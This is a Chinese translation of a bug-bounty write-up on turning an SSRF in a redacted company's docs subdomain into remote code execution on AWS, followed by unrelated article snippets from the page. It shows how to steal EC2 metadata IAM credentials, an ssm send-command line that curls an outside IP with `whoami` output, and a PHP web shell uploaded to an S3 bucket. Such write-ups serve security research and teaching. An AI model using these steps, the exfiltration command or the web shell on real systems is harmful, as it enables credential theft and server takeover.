原文:https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

查找域名范围:

在枚举客户端的子域名时。找到了子域名[docs]

打开这个子域名[docs.redact.com]

查找带外资源负载:

[docs]子域名显示了一些文档和统计信息

在点击统计数据的照片时,有请求内部URL的链接:

将[url]的值改为generaleg0x01.com

[mimeType]参数编辑了链接,并将值更改为:

https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

到目前为止它只是[带外资源负载]

验证SSRF:

检查BurpSuite中的requests/responses时注意到Response头[X-Amz-Cf-Id]

这是在AWS 环境上的标识。已经知道[169.254.169.254]是EC2实例的本地IP地址。

尝试导航到[/latest/meta-data/]来访问元数据文件夹。

确认有SSRF漏洞

EC2环境中的利用方式

通过导航到[/latest/meta-data/iam/security-credentials/]来检查当前的角色。

这是aws-elasticbeanstalk-ec2-role

什么是AWS Elastic Beanstalk?

  • AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。
  • 它自动处理部署,容量配置,负载平衡,自动扩展和应用程序运行状况监视。

窃取所需数据:

1)跳转到[/ latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]页面

可以得到[AccessKeyId,SecretAccessKey,Token]

2)跳转到[/ latest/dynamic/instance-identity/document/]页面

可以得到[instanceId,accountId,region]

配置AWS命令行界面:

  • 打开终端,敲这些命令:
~# apt install awscli

~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token

  • 得到[UserID]
~# aws sts get-caller-identity

探索更多的可能性,将其升级为更大的“RCE”。

将SSRF升级为RCE:

尝试一些潜在的exploit场景。

通过[ssm send-command]提权 失败

经过几项研究尝试使用AWS Systems Manager [ssm]命令。

但是该角色无权执行此命令。用aws ssm send-command提权回显如下。

~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region

回显内容:

An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

  • 通过[SSH]提权 失败

SSH端口已关闭。用知名的场景提权:

“创建RSA身份验证密钥对(公钥和私钥),以便能够从帐户登录远程站点,而无需输入密码。”

  • [Uploading Backdoor] 提权 成功

试图阅读[S3 Bucket]内容:

尝试使用AWS CLI运行多个命令以从AWS实例检索信息。但是,由于安全策略的原因,对大多数命令的访问被拒绝。

~# aws s3 ls

回显内容:

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

经过几项研究后发现托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets。

访问S3 buckets格式如下:

elasticbeanstalk-区域-账户-id

现在, bucket名称为“elasticbeanstalk-us-east-1-76xxxxxxxx00”。

以递归方式列出“elasticbeanstalk-us-east-1-76xxxxxxxx00”的bucket资源,使用AWS CLI执行列出长时间运行的任务:

~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive

现在尝试上传一个后门!

~# cat cmd.php

文件内容:


1. <?php **if**(**isset**($_REQUEST['cmd'])){ **echo** "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); **echo** "</pre>"; **die**; }?>

~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

upload: ./cmd.php to s3://docs.redact.com/cmd.php

成功获得了RCE!

简而言之:

可以通过多种方式将服务器端请求伪造升级到远程执行代码,但这取决于目标环境。

将SSRF升级为RCE(AWS环境)的更多相关文章

  1. 升级设置win2008r2开发环境,遇到问题小结

    升级设置2008r2开发环境,是一般程序员经历的事情.许多从vs 2003,vs2005+sql2000+win2003过来,但是,时间推移,技术革新,64位的推行.架构的变化和强大.我们也只可以学习 ...

  2. 52. spring boot日志升级篇—log4j多环境不同日志级别的控制【从零开始学Spring Boot】

    在上一章节中我们介绍了,仅通过log4j-spring.properties对日志级别进行控制,对于需要多环境部署的环境不是很方便,可能我们在开发环境大部分模块需要采用DEBUG级别,在测试环境可能需 ...

  3. 【ARTS】01_22_左耳听风-201900408~2019004014

    ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...

  4. AWS EC2 PV Drivers 驱动升级

    问题 从2019-10-23起,我的AWS实例不断的重启(大概6个小时左右),或者连接不上(远程连接不上并PING不通IP),但控制台显示running. 分析与解决方法 通过查看dump文件,发现是 ...

  5. hackrf one环境搭建以及升级固件

    一.环境配置 操作系统: Ubuntu 18 硬件:hackrf 第一步 配置国内源 备份 /etc/apt/sources.list 文件 sudo mv /etc/apt/sources.list ...

  6. Node.js躬行记(22)——Node环境升级日志

    公司之前所有的 Node 项目,其环境都是 8.9.4 版本,发布于 2018 年的一个比较古老的版本. 老版本有两个比较明显的问题: Node 高版本的特性和方法都无法使用. 有些第三方新版本的包无 ...

  7. 基于AWS的云服务架构最佳实践

    ZZ from: http://blog.csdn.net/wireless_com/article/details/43305701 近年来,对于打造高度可扩展的应用程序,软件架构师们挖掘了若干相关 ...

  8. AWS核心服务概览

    1.Amazon Web Service 应该可以说,Amazon Web Service目前是云计算领域的领头羊,其业务规模.开发水平和盈利能力在业界内都是首屈一指的.从本科毕业离开学校就一直做Ja ...

  9. Oracle数据库升级(10.2.0.4->11.2.0.4)

    环境: RHEL5.4 + Oracle 10.2.0.4 目的: 在本机将数据库升级到11.2.0.4 之前总结的Oracle数据库异机升级:http://www.cnblogs.com/jyzha ...

随机推荐

  1. split()函数实现

    #split函数实现: ss='** *axx* *bv** *ctt** **dff***' result=[] def split_1(ss,a,times=len(ss)): i=0 n=0 w ...

  2. pyinstaller打包程序包含openpyxl库问题解决

    带有openpyxl库时,直接打包,总会失败: 原因:看本地文件...Anaconda3\Lib\site-packages\PyInstaller\hooks\hook-openpyxl.py 发现 ...

  3. HTML的基础

    HTML:超文本标记语言                            超文本包括:文字.图片.音频.视频.动画等 流程:写好HTML代码后通过浏览器(自动编译HTML代码)展现出效果 HTM ...

  4. 题解 洛谷P5018【对称二叉树】(noip2018T4)

    \(noip2018\) \(T4\)题解 其实呢,我是觉得这题比\(T3\)水到不知道哪里去了 毕竟我比较菜,不大会\(dp\) 好了开始讲正事 这题其实考察的其实就是选手对D(大)F(法)S(师) ...

  5. (WA)BZOJ 1503: [NOI2004]郁闷的出纳员

    二次联通门 : BZOJ 1503: [NOI2004]郁闷的出纳员 /* BZOJ 1503: [NOI2004]郁闷的出纳员 考虑这样一个事实 无论是加或减 都是针对全体人员的 那么只需要记录一个 ...

  6. 以字符串为例,谈谈Python到底要学到什么程度

    古语云:慈不掌兵,义不为商:离商业越近,离人性越远:我们在自学数据科学时,一定会辅助一些书籍或者视频来学习,怎么学习,选择哪些资料来学习?这时,我们都要理解好第一句话,理解不好,浪费钱是次要,重要的是 ...

  7. MySQL数据分析-(1) 数据库前言

    (一)开场白 大家好,欢迎大家跟我一起学习<MySQL数据分析实战>这门课程,对于数据分析师来说,数据库是每一个从业者都必须掌握的课程,我们这门课是从实战的角度出发,我会帮助大家梳理MyS ...

  8. JavaWeb_(Spring框架)认识Spring中的aop

    1.aop思想介绍(面向切面编程):将纵向重复代码,横向抽取解决,简称:横切 2.Spring中的aop:无需我们自己写动态代理的代码,spring可以将容器中管理对象生成动态代理对象,前提是我们对他 ...

  9. HDU 1257 最少拦截系统 ——(LIS)

    想了一下感觉和lis有关,交了果然AC.想不到很好的证明方法,试做证明如下:lis的每一个点都是一个不上升系统中的一员,设其为a[i],那么a[i-1]<a[i]肯定是成立的(lis的性质),夹 ...

  10. 手游折扣app票选结果公布哪个好哪个靠谱一目了然

    2018年,是中国改革开放40年,也是中国互联网20年.“互联网推动了精神文明向更高水平的迈进,实现人的价值第一,创造美好生活,从生产高于生活.艺术高于成活,转向发现与实现生活本身美好,让想象成真.如 ...